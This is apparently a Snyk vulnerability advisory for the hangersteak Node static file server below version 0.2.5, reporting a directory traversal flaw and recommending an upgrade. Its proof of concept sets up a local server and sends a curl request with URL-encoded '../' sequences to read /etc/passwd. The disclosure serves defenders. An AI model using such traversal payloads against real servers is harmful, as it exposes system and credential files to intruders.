hangersteak@0.1.2 vulnerabilities

Node static file web server

Direct Vulnerabilities

Known vulnerabilities in the hangersteak package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Directory Traversal

hangersteak is a Node static file web server

Affected versions of this package are vulnerable to Directory Traversal through the url which doesn't verify the file is from the root directory path.

PoC

  1. create index.js:
const http = require('http')
const hangersteak = require('hangersteak')
const server = http.createServer((req, res) => { hangersteak(req, res) })
server.listen(3006)
  1. Start the application: nodejs index.js
  2. curl "http://localhost:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

How to fix Directory Traversal?

Upgrade hangersteak to version 0.2.5 or higher.

<0.2.5